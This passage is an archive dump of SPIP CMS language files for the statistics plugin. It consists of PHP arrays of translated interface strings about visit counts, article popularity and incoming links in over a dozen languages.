'texte_admin_effacer_stats' => 'Cette commande efface toutes les données liées aux statistiques de visite du site, y compris la popularité des articles.',
'texte_admin_effacer_toutes_stats' => 'Le premier bouton supprime toutes les statistiques : visites, popularité des articles et liens entrants.',
'texte_comment_lire_tableau' => 'Le rang de l’article, dans le classement par popularité, est indiqué dans la marge ; la popularité de l’article (une estimation du nombre de visites quotidiennes qu’il recevra si le rythme actuel de consultation se maintient) et le nombre de visites reçues depuis le début sont affichés dans la bulle qui apparaît lorsque la souris survole le titre.',
'texte_signification' => 'Les barres foncées représentent les entrées cumulées (total des sous-rubriques), les barres claires le nombre de visites pour chaque rubrique.',
'titre_evolution_visite' => 'Évolution des visites',
'titre_liens_entrants' => 'Liens entrants',
'titre_page_statistiques' => 'Statistiques par rubriques',
// V
'visites_journalieres' => 'Nombre de visites par jour',
'visites_mensuelles' => 'Nombre de visites par mois'
);
?>
paquet-stats_pt_br.php 0000666 00000000707 15252540432 0011110 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// S
'stats_description' => 'Estatísticas do SPIP',
'stats_nom' => 'Estatísticas',
'stats_slogan' => 'Gerenciamento das estatísticas do SPIP'
);
?>
statistiques_da.php 0000666 00000004024 15252540432 0010471 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=da
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => 'Udvikling i besøg <br />@visites@ besøg',
'icone_repartition_actuelle' => 'Vis faktisk fordeling',
'icone_repartition_visites' => 'Besøgsfordeling',
'icone_statistiques_visites' => 'Besøgsstatistik',
'info_affichier_visites_articles_plus_visites' => 'Vis besøg til <b>de mest besøgte artikler siden starten:</b>',
'info_comment_lire_tableau' => 'Sådan læses grafen',
'info_forum_statistiques' => 'Besøgsstatistik',
'info_popularite_2' => 'webstedets polularitet:',
'info_popularite_3' => 'polularitet: @popularite@; besøg: @visites@',
'info_popularite_5' => 'polularitet:',
'info_visites' => 'besøg:',
'info_visites_plus_populaires' => 'Vis besøg til <b>de mest populære artikler</b> og til <b>de senest offentliggjorte artikler:</b>',
'item_gerer_statistiques' => 'Dan statistik', # MODIF
// O
'onglet_origine_visites' => 'Besøgendes oprindelse',
'onglet_repartition_debut' => 'fra begyndelsen',
'onglet_repartition_lang' => 'efter sprog',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Artiklens rangering i popularitetslisten vises i marginen. Artiklens popularitet (et overslag over hvor mange daglige besøg den vil opnå, hvis det aktuelle trafikomfang opretholdes) og antallet af besøg, der er registreret siden begyndelsen, vises i den ballon, der kommer til syne når musen holdes over titlen.',
'texte_signification' => 'Røde bjælker viser summer (totaler for underafsnit),
grønne bjælker viser antal besøg i hvert afsnit.',
'titre_evolution_visite' => 'Udvikling i besøgstal',
'titre_liens_entrants' => 'Dagens indkomne links',
'titre_page_statistiques' => 'Statistik pr. afsnit',
'titre_page_statistiques_visites' => 'Besøgsstatistik'
);
?>
statistiques_nl.php 0000666 00000006330 15252540432 0010520 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_referers' => 'Alleen binnenkomende links uitwissen',
'bouton_effacer_statistiques' => 'De statistieken uitwissen',
// C
'csv' => 'csv',
// I
'icone_evolution_visites' => 'Evolutie van de bezoeken<br />@visites@ bezoeken',
'icone_repartition_actuelle' => 'De huidige verdeling tonen',
'icone_repartition_visites' => 'Verdeling van de bezoeken',
'icone_statistiques_visites' => 'Statistieken',
'info_affichier_visites_articles_plus_visites' => 'Bezoekers tonen voor <b>de meest bezochte artikels sinds het begin:</b>',
'info_comment_lire_tableau' => 'Hoe lees je deze tabel',
'info_forum_statistiques' => 'Statistieken van de bezoeken',
'info_popularite_2' => 'populariteit van de site:',
'info_popularite_3' => 'populariteit: @popularite@; bezoeken: @visites@',
'info_popularite_5' => 'populariteit:',
'info_previsions' => 'verwachtingen :',
'info_question_vignettes_referer' => 'Wanneer u de statistieken raadpleegt, kunt u korte overzichten van de plaatsen van oorsprong van de bezoeken zichtbaar maken',
'info_question_vignettes_referer_oui' => 'De vangsten van de siten van oorsprong van de bezoeken te kennen geven',
'info_visites' => 'bezoeke:',
'info_visites_plus_populaires' => 'Toon de bezoeken voor <b>de meest populaire artikels</b> en voor <b>de laatst gepubliceerde artikels:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Statistieken beheren',
// O
'onglet_origine_visites' => 'Herkomst van de bezoeken',
'onglet_repartition_debut' => 'vanaf het begin',
'onglet_repartition_lang' => 'Verdeling volgens taal',
// R
'resume' => 'Samenvatting',
// T
'texte_admin_effacer_stats' => 'Deze bestelling wist alle gegevens in verband met de statistieken van bezoek van de plaats uit, met inbegrip van de populariteit van de artikelen.',
'texte_admin_effacer_toutes_stats' => 'Het eerste knopje wist alle statiestieken uit: bezoeken, populariteit van de artikels en binnenkomende links.',
'texte_comment_lire_tableau' => 'De plaats van het artikel,
in de rangschikking volgens populariteit, is in de marge
aangegeven; de populariteit(*) van het artikel en het
aantal bezoeken sinds het het begin van de site staan in
het vakje dat verschijnt als je met de muis over de
titel van het artikel komt.
(*) de populariteit van een artikel is een schatting van
het aantal bezoeken dat het artikel op een dag zal
krijgen als huidige ritme van raadpleging wordt
aangehouden.',
'texte_signification' => 'De donkere balkjes stellen alle samengetelde bezoeken weer (totaal van alle subrubrieken), de lichte balkjes het aantal bezoeken voor elke rubriek.',
'titre_evolution_visite' => 'Evolutie van de bezoeken',
'titre_liens_entrants' => 'Inkomende koppelingen',
'titre_page_statistiques' => 'Statistieken per rubriek',
'titre_page_statistiques_visites' => 'Statistieken van de bezoeken',
// V
'visites_journalieres' => 'Aantal bezoeken per dag',
'visites_mensuelles' => 'Aantal maandelijkse bezoeken'
);
?>
statistiques_nb.php 0000666 00000002341 15252540432 0010504 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=nb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Effacer les statistiques', # MODIF
// I
'icone_evolution_visites' => 'Besøksutvikling<br />@visites@ visits', # MODIF
'icone_repartition_actuelle' => 'Vis fordeling',
'icone_repartition_visites' => 'Gå til fordeling',
'icone_statistiques_visites' => 'Besøksstatistikk', # MODIF
'info_popularite_2' => 'nettstedspopularitet:',
'info_popularite_5' => 'popularitet:',
'info_visites' => 'besøk:',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gérer les statistiques', # MODIF
// O
'onglet_origine_visites' => 'Besøk fra',
'onglet_repartition_debut' => 'fra start',
'onglet_repartition_lang' => 'etter språk', # MODIF
// R
'resume' => 'Resume', # MODIF
// T
'titre_evolution_visite' => 'Besøksutvikling',
'titre_liens_entrants' => 'Inngående lenker',
'titre_page_statistiques' => 'Statistikker etter seksjon',
'titre_page_statistiques_visites' => 'Besøksstatistikker'
);
?>
statistiques_oc_ni.php 0000666 00000004400 15252540432 0011172 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=oc_ni
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Effacer les statistiques', # MODIF
// I
'icone_evolution_visites' => 'Evolucion dei visitas<br />@visites@ visitas',
'icone_repartition_actuelle' => 'Afichar la reparticion actuala',
'icone_repartition_visites' => 'Desreparticion dei visitas',
'icone_statistiques_visites' => 'Estadisticas',
'info_affichier_visites_articles_plus_visites' => 'Afichar li visitas per lu <b>articles mai visitats despí lo principi :</b>',
'info_comment_lire_tableau' => 'Coma lièger aqueu tablèu',
'info_forum_statistiques' => 'Estadisticas dei visitas',
'info_popularite_2' => 'popularitat dau sit:',
'info_popularite_3' => 'popularitat: @popularite@; visitas: @visites@',
'info_popularite_5' => 'popularitat:',
'info_visites' => 'visitas:',
'info_visites_plus_populaires' => 'Far paréisser li visitas <b>per articles mai populars</b> e <b>per darriers articles publicats:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Pas gerar li estadisticas', # MODIF
// O
'onglet_origine_visites' => 'Origina dei visitas',
'onglet_repartition_debut' => 'despí lo principi',
'onglet_repartition_lang' => 'Reparticion per lengas',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Lo reng de l’article,
dins lo classament per popularitat, es indicat dins lo marge; la popularitat de l’article
(una estimacion dau nombre de visitas quotidiani que recebrà se lo ritme actuau de consultacion si manten) e lo nombre de visitas recebudi
despí lo començament s’afichan dins la bofa
qu’apareisse quora la rateta passa sus lo titre.',
'texte_signification' => 'Li barras rogi representan li intradas cumuladi (totau dei sosrubricas), li barras verdi lo nombre de visitas per cada rubrica.',
'titre_evolution_visite' => 'Evolucion dei visitas',
'titre_liens_entrants' => 'Estacs intrants',
'titre_page_statistiques' => 'Estatisticas per rubricas',
'titre_page_statistiques_visites' => 'Estatisticas dei visitas'
);
?>
statistiques_sk.php 0000666 00000005704 15252540432 0010530 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_referers' => 'Odstrániť len prichádzajúce odkazy',
'bouton_effacer_statistiques' => 'Vymazať všetky štatistiky',
// C
'csv' => 'csv',
// I
'icone_evolution_visites' => 'Počet návštev<br />@visites@ návštev',
'icone_repartition_actuelle' => 'Zobraziť aktuálne rozdelenie',
'icone_repartition_visites' => 'Rozdelenie návštev',
'icone_statistiques_visites' => 'Štatistiky',
'info_affichier_visites_articles_plus_visites' => 'Prehľad počtu návštev pre <b>najviac navštevované články od začiatku:</b>',
'info_comment_lire_tableau' => 'Ako čítať tento graf',
'info_forum_statistiques' => 'Štatistiky návštev',
'info_popularite_2' => 'popularita stránky:',
'info_popularite_3' => 'popularita: @popularite@, návštev: @visites@',
'info_popularite_5' => 'popularita:',
'info_previsions' => 'predpovede:',
'info_question_vignettes_referer' => 'Keď sa pozriete do štatistiky, uvidíte ukážku každej stránky, z ktorej prišiel nejaký návštevník. ',
'info_question_vignettes_referer_oui' => 'Zobraziť obrázky odkazujúcich stránok',
'info_visites' => 'Návštev:',
'info_visites_plus_populaires' => 'Prehľad počtu návštev <b>najpopulárnejších</b> a <b>najnovších článkov:</b>',
'info_zoom' => 'lupa',
'item_gerer_statistiques' => 'Riadiť štatistiky návštev',
// O
'onglet_origine_visites' => 'Pôvod návštev',
'onglet_repartition_debut' => 'od začiatku',
'onglet_repartition_lang' => 'Rozdelenie podľa jazykov',
// R
'resume' => 'Súhrn',
// T
'texte_admin_effacer_stats' => 'Tento príkaz vymaže všetky štatistiky o návštevách na stránke, vrátane popularity článkov.',
'texte_admin_effacer_toutes_stats' => 'Prvé tlačidlo vymaže všetky štatistiky: návštevy, údaje o popularite článkov a prichádzajúcich odkazoch.',
'texte_comment_lire_tableau' => 'Hodnotenie článku podľa popularity je uvedené na okraji; popularita článku (predpoklad počtu návštev, ktoré dosiahne, ak bude pokračovať ich súčasné tempo) a počet návštev dosiahnutých od začiatku sa zobrazia v bubline, ktorá sa objaví, ak nad názvom článku prejdete myšou.',
'texte_signification' => 'Tmavé čiary znázorňujú kumulatívne vstupy (celkom za podrubriky), svetlé čiary znázorňujú počet návštev každej rubriky.',
'titre_evolution_visite' => 'Vývoj počtu návštev',
'titre_liens_entrants' => 'Prichádzajúce odkazy',
'titre_page_statistiques' => 'Štatistiky podľa rubrík',
'titre_page_statistiques_visites' => 'Štatistiky návštev',
// V
'visites_journalieres' => 'Počet návštev za deň',
'visites_mensuelles' => 'Počet návštev za mesiac'
);
?>
paquet-statistiques.xml 0000666 00000000260 15252540432 0011331 0 ustar 00 <traduction module="paquet-statistiques" gestionnaire="salvatore" url="" source="svn://zone.spip.org/spip-zone/_core_/plugins/statistiques/lang/" reference="fr">
</traduction>
paquet-stats_es.php 0000666 00000000711 15252540432 0010404 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// S
'stats_description' => 'Estadísticas de SPIP',
'stats_nom' => 'Estadísticas',
'stats_slogan' => 'Administración de las estadísticas de SPIP'
);
?>
statistiques_tr.php 0000666 00000005234 15252540432 0010536 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=tr
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'İstatistikleri sil', # MODIF
// I
'icone_evolution_visites' => 'Ziyaretlerin gelişimi<br /> @visites@ ziyaret',
'icone_repartition_actuelle' => 'Mevcut dağılımı göster',
'icone_repartition_visites' => 'Ziyaretlerin dağılımı',
'icone_statistiques_visites' => 'İstatistikler',
'info_affichier_visites_articles_plus_visites' => '<b>Başlangıçtan beri en çok ziyaret edilen makaleleri</b> göster :',
'info_comment_lire_tableau' => 'Bu tabloyu nasıl okumalı ?',
'info_forum_statistiques' => 'Ziyaret istatistikleri',
'info_popularite_2' => 'Sitenin popülerliği',
'info_popularite_3' => 'popülerlik : @popularite@ ; ziyaretler : @visites@',
'info_popularite_5' => 'Popülerlik ',
'info_question_vignettes_referer' => 'İstatistikleri incelediğinizde, ziyaretlerin yapıldığı kaynak sitelerden görüntüler görebilirsiniz',
'info_question_vignettes_referer_oui' => 'Ziyaretlerin yapıldığı kaynak sitelerden görüntüler göster',
'info_visites' => 'Ziyaret :',
'info_visites_plus_populaires' => '<b>En popüler makaleler</b> ile <b>yayınlanan son makalelere</b> yapılan ziyaretleri görüntüle.',
'info_zoom' => 'yakınlaştır',
'item_gerer_statistiques' => 'İstatistikleri yönet', # MODIF
// O
'onglet_origine_visites' => 'Ziyaretlerin kaynağı',
'onglet_repartition_debut' => 'Başlangıçtan beri',
'onglet_repartition_lang' => 'Dillere göre dağılım',
// T
'texte_admin_effacer_stats' => 'Bu komut, site ziyareti istatistiklerine bağlı tüm bilgileri siler (makalelerin popülerlikleri de dahil).',
'texte_comment_lire_tableau' => 'Popülerlik sınıflandırmasında makalenin sırası kenarda belirtilmiştir ; makalenin popülerliği (şimdiki başvuru sıklığı devam ettiği takdirde, geleceği tahmin edilen günlük ziyaretçi sayısı) ve başından beri gelen ziyaretçi sayısı, fare başlık üzerinden geçtiğinde ortaya çıkan konuşma balonunun içinde görüntülenir.',
'texte_signification' => 'Koyu çizgiler, toplam girişleri (alt-bölümlerin toplamını), açık çizgiler ise, her bir bölüme gelen ziyaret sayısını temsil eder.',
'titre_evolution_visite' => 'Ziyaretlerin gelişimi ',
'titre_liens_entrants' => 'Giren bağlantılar',
'titre_page_statistiques' => 'Bölümlere göre istatistikler ',
'titre_page_statistiques_visites' => 'Ziyaret istatistikleri'
);
?>
paquet-stats_it.php 0000666 00000000673 15252540432 0010420 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// S
'stats_description' => 'Statistiche di SPIP',
'stats_nom' => 'Statistiche',
'stats_slogan' => 'Gestione delle statistiche di SPIP'
);
?>
statistiques_oc_va.php 0000666 00000004327 15252540432 0011202 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=oc_va
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => 'Evolucion de las vesitas<br />@visites@ vesitas',
'icone_repartition_actuelle' => 'Afichar la reparticion actuala',
'icone_repartition_visites' => 'Reparticion de las vesitas',
'icone_statistiques_visites' => 'Estadisticas',
'info_affichier_visites_articles_plus_visites' => 'Afichar las vesitas per los <b>articles mai vesitats dempuei lo començament:</b>',
'info_comment_lire_tableau' => 'Coma legir aquel tablèu',
'info_forum_statistiques' => 'Estadisticas de las vesitas',
'info_popularite_2' => 'popularitat dau sit:',
'info_popularite_3' => 'popularitat: @popularite@; vesitas: @visites@',
'info_popularite_5' => 'popularitat:',
'info_visites' => 'vesitas:',
'info_visites_plus_populaires' => 'Afichar las vesitas <b>per los articles mai populars</b> e <b>per los darriers articles publicats:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gerir las estadisticas', # MODIF
// O
'onglet_origine_visites' => 'Origina de las vesitas',
'onglet_repartition_debut' => 'dempuei lo començament',
'onglet_repartition_lang' => 'Reparticion per lengas',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Lo reng de l’article,
dins lo classament per popularitat, es indicat dins lo marge; la popularitat de l’article
(una estimacion dau nombre de vesitas quotidianas qu’eu recebrà se lo ritme actuau de consultacion se manten) e lo nombre de vesitas recebuas
dempuei lo començament s’afichan dins la luna
qu’apareis quand la rata passa sus lo títol.',
'texte_signification' => 'Las barras escuras representan las intraas cumulaas (totau de las sosrubricas), las barras claras lo nombre de vesitas per chasca rubrica.',
'titre_evolution_visite' => 'Evolucion de las vesitas',
'titre_liens_entrants' => 'Liams entrants ',
'titre_page_statistiques' => 'Estadisticas per rubricas',
'titre_page_statistiques_visites' => 'Estadisticas de las vesitas'
);
?>
statistiques_eu.php 0000666 00000004736 15252540432 0010530 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=eu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Estatistikak ezabatu', # MODIF
// I
'icone_evolution_visites' => 'Bisiten eboluzioa @visites@ bisitak',
'icone_repartition_actuelle' => 'Oraingo banaketa erakutsi',
'icone_repartition_visites' => 'Bisiten banaketa',
'icone_statistiques_visites' => 'Bisiten estatistikak',
'info_affichier_visites_articles_plus_visites' => 'Hasieratik gehien irakurritakoartikuluen bisitak argitaratu :',
'info_comment_lire_tableau' => 'Nola irakurri lauki hau',
'info_forum_statistiques' => 'Bisiten estatistikak',
'info_popularite_2' => 'Gunearen arrakasta edo onarpena:',
'info_popularite_3' => 'Arrakasta: @popularite@ Bisitak: @visites@',
'info_popularite_5' => 'Arrakasta :',
'info_question_vignettes_referer' => 'Estatistikak begiratzean, bisiten jatorrien guneen aurrebista ikusten ahal duzu',
'info_question_vignettes_referer_oui' => 'Bisiten jatorrien guneen kapturak erakutsi',
'info_visites' => 'bisitak :',
'info_visites_plus_populaires' => 'Bisitak bistaratu artikulu hedatuenengatik eta argitaratutako azken artikuluengatik :',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Estatistikak kudeatu', # MODIF
// O
'onglet_origine_visites' => 'Bisiten jatorria',
'onglet_repartition_debut' => 'hasieratik',
'onglet_repartition_lang' => 'Hizkuntzakako banaketa',
// T
'texte_admin_effacer_stats' => 'Manu hunek gunearen bisiten estatistikei lotutako datu guziak ezabatzen ditu, artikuluen arrakasta barne.',
'texte_comment_lire_tableau' => 'Artikuluaren heina, onarpenaren araberako sailkapenean, marjinean dago adierazita ;
Artikuluaren onarpena (berak jasoko duen eguneroko bisiten kopuruaren estimazio bat oraingokontsulta-erritmoa mantentzen bada) eta hasieratik jasotako bisiten kopurua saguak izenburuaren gainetik pasatzen denean agertzen den argibidean erakusten dira.',
'texte_signification' => 'Barra ilunek metatutako sarrerak irudikatzen dituzte(azpiatalen erabatekoa), barra argiek atal bakoitzaren bisita guztiak.',
'titre_evolution_visite' => 'Bisiten bilakaera',
'titre_liens_entrants' => 'Eguneko gehitutako loturak',
'titre_page_statistiques' => 'Atalez atal estatistikak',
'titre_page_statistiques_visites' => 'Bisiten estatistikak'
);
?>
statistiques_km.php 0000666 00000010052 15252540432 0010512 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=km
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'លុបចេញ ស្ថិតិ', # MODIF
// I
'icone_evolution_visites' => 'ការវិវត្ត នៃចំណូលមើល<br />@visites@ ចំណូលមើល',
'icone_repartition_actuelle' => 'បង្ហាញចេញ បំណែងចែកបច្ចុប្បន្ន',
'icone_repartition_visites' => 'បំណែងចែក ការទស្សនា',
'icone_statistiques_visites' => 'ស្ថិតិ',
'info_affichier_visites_articles_plus_visites' => 'បង្ហាញចំណូលមើល សំរាប់ <b>អត្ថបទ ត្រូវបានចូលមើល ច្រើនបំផុត ពីដើម ៖</b>',
'info_comment_lire_tableau' => 'ធ្វើមេចអាន តារាងនេះ',
'info_forum_statistiques' => 'ស្ថិតិ ចំណូលមើល',
'info_popularite_2' => 'ភាពប្រជាប្រិយ នៃសៃថ៍ ៖',
'info_popularite_3' => 'ភាពប្រជាប្រិយ ៖ @popularite@; ចំណូលមើល ៖ @visites@',
'info_popularite_5' => 'ប្រជាប្រិយភាព៖',
'info_visites' => 'ការទស្សនា ៖',
'info_visites_plus_populaires' => 'បង្ហាញចេញ ការទស្សនាទាំងឡាយ សំរាប់<b>អត្ថបទដែលប្រជាប្រិយបំផុត</b> និង សំរាប់ <b>អត្ថបទ ត្រូវបានផ្សព្វផ្សាយ ថ្មីៗ ៖</b>',
'info_zoom' => 'ពង្រីក',
'item_gerer_statistiques' => 'គ្រប់គ្រងស្ថិតិ', # MODIF
// O
'onglet_origine_visites' => 'ភាពដើម នៃការទស្សនា',
'onglet_repartition_debut' => 'តាំងពីដំបូង',
'onglet_repartition_lang' => 'បំណែងចែក តាមភាសា',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'កំរិតនៃអត្ថបទ នៅក្នុងប្រភេទភាពពេញនិយម ត្រូវបានបង្ហាញនៅក្នុងរឹមទំព័រ។ ភាពពេញនិយមរបស់អត្ថបទ (ចំនួនប៉ាន់ប្រមាណនៃការទស្សនាប្រចាំថ្ងៃដែលវាមានប្រសិនបើល្បឿនជាក់ស្ដែងនៃចរាចរសេវាកម្មត្រូវបានរក្សា) ហើយចំនួននៃការទស្សនាដែលកត់ត្រាតាំងពីពេលចាប់ផ្ដើមត្រូវបានបង្ហាញនៅក្នុងបាឡូងដែលមានសភាពជារូបសំកាំងនៅលើចំណងជើង។',
'texte_signification' => 'របារខ្មៅតំណាងឱ្យពាក្យរួម (សរុបនៃផ្នែករង) របារមិនសូវដិតតំណាងឱ្យចំនួននៃការទស្សនារបស់ផ្នែកនីមួយៗ។',
'titre_evolution_visite' => 'ការវិវត្ត នៃចំណូលមើល',
'titre_liens_entrants' => 'តំណភ្ជាប់ចូល',
'titre_page_statistiques' => 'ស្ថិតិ តាមផ្នែក',
'titre_page_statistiques_visites' => 'ស្ថិតិ ចំណូលមើល'
);
?>
statistiques_cpf_hat.php 0000666 00000004223 15252540432 0011512 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=cpf_hat
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Effacer les statistiques', # MODIF
// I
'icone_evolution_visites' => 'Evolisyon vizit yo<br />@visites@ vizit yo',
'icone_repartition_actuelle' => 'Afiche repatisyon kounye-a',
'icone_repartition_visites' => 'Repatisyon vizit yo',
'icone_statistiques_visites' => 'Estatistik',
'info_affichier_visites_articles_plus_visites' => 'Fè parè vizit yo <b>tout atik plis vizite depi koumansman :</b>',
'info_comment_lire_tableau' => 'Kouman fè lekti tablo-a',
'info_forum_statistiques' => 'Estatistik tout vizit',
'info_popularite_2' => 'popilarite sit-la :',
'info_popularite_3' => 'kouman se popilè : @popularite@ ; vizit yo : @visites@',
'info_popularite_5' => 'Kouman se popilè :',
'info_visites' => 'vizit yo :',
'info_visites_plus_populaires' => 'Afiche tout visit pou <b> atik ki pli popilè</b> ak pou <b>denyé atik an liy :</b>',
'info_zoom' => 'gwoplan',
'item_gerer_statistiques' => 'Okipe lestatistik yo', # MODIF
// O
'onglet_origine_visites' => 'Lorijin vizit yo',
'onglet_repartition_debut' => 'depi koumansman',
'onglet_repartition_lang' => 'Repatisyon ant lang',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Plas latik-la, nan klasman popilawite, se enskri sou kote ; populawite atik-la (yon kont nonb vizit pa jou atik-la ki rannkout si li kembe ritm-la kounyen-a) ak nonb vizit ki vini depi koumansman, zot ka afich nan yon bil ki parèt kank w vole sou titr-la.',
'texte_signification' => 'Tou liy nwa se limaj tout rantré kimilé (yon total pou tout souribrik), tout liy klèr se nonb visit sa-yo pou chak ribrik.',
'titre_evolution_visite' => 'Evolisyon vizit yo',
'titre_liens_entrants' => 'Lyen sa-yo ka rive',
'titre_page_statistiques' => 'Estatsitik pou tout pati yo nan sit sa a',
'titre_page_statistiques_visites' => 'Estatistik pou tout vizit yo'
);
?>
statistiques_en.php 0000666 00000005504 15252540432 0010513 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_referers' => 'Delete only incoming links',
'bouton_effacer_statistiques' => 'Delete all statistics',
// C
'csv' => 'csv',
// I
'icone_evolution_visites' => 'Number of visits <br />@visites@ visits',
'icone_repartition_actuelle' => 'Show current distribution',
'icone_repartition_visites' => 'Distribution of Visits',
'icone_statistiques_visites' => 'Statistics',
'info_affichier_visites_articles_plus_visites' => 'Show visits for <b>the most popular articles of all time:</b>',
'info_comment_lire_tableau' => 'How to read this graph',
'info_forum_statistiques' => 'Visit statistics',
'info_popularite_2' => 'site popularity:',
'info_popularite_3' => 'popularity: @popularite@; visits: @visites@',
'info_popularite_5' => 'popularity:',
'info_previsions' => 'forecasts:',
'info_question_vignettes_referer' => 'When you consult the statistics, you can see a preview of any referring sites from which a visitor came. ',
'info_question_vignettes_referer_oui' => 'Show screenshots of referring sites',
'info_visites' => 'visits:',
'info_visites_plus_populaires' => 'Show visits for <b>the most popular articles</b> and <b>the most recent articles:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Manage visitor statistics',
// O
'onglet_origine_visites' => 'Visitors came from',
'onglet_repartition_debut' => 'of all time',
'onglet_repartition_lang' => 'Distribution by language',
// R
'resume' => 'Resume',
// T
'texte_admin_effacer_stats' => 'This command deletes all statistics on visits to the site, including article popularity.',
'texte_admin_effacer_toutes_stats' => 'The first button deletes all statistics: visits, articles popularity and referers.',
'texte_comment_lire_tableau' => 'The rank of the article in the popularity rating is indicated in the margin; the popularity of the article (an estimation of the number of daily visits it receives if the current flow of consultation continues) and the number of visits received since the beginning are displayed in the tooltip that appears when the mouse is hovering the title.',
'texte_signification' => 'Dark bars represent cumulative entries (total subsections), light bars represent the number of visits for each section.',
'titre_evolution_visite' => 'Visitor Statistics',
'titre_liens_entrants' => 'Incoming links',
'titre_page_statistiques' => 'Statistics by section',
'titre_page_statistiques_visites' => 'Visit statistics',
// V
'visites_journalieres' => 'Number of visits per day',
'visites_mensuelles' => 'Number of visits per month'
);
?>
statistiques_ar.php 0000666 00000007042 15252540432 0010512 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_referers' => 'حذف الوصلات الداخلة الآتية',
'bouton_effacer_statistiques' => 'حذف كل الاحصاءات',
// C
'csv' => 'سي.اس.في.',
// I
'icone_evolution_visites' => 'تطور الزيارات <br />@visites@ زيارة ',
'icone_repartition_actuelle' => 'إظهار التوزيع الحالي',
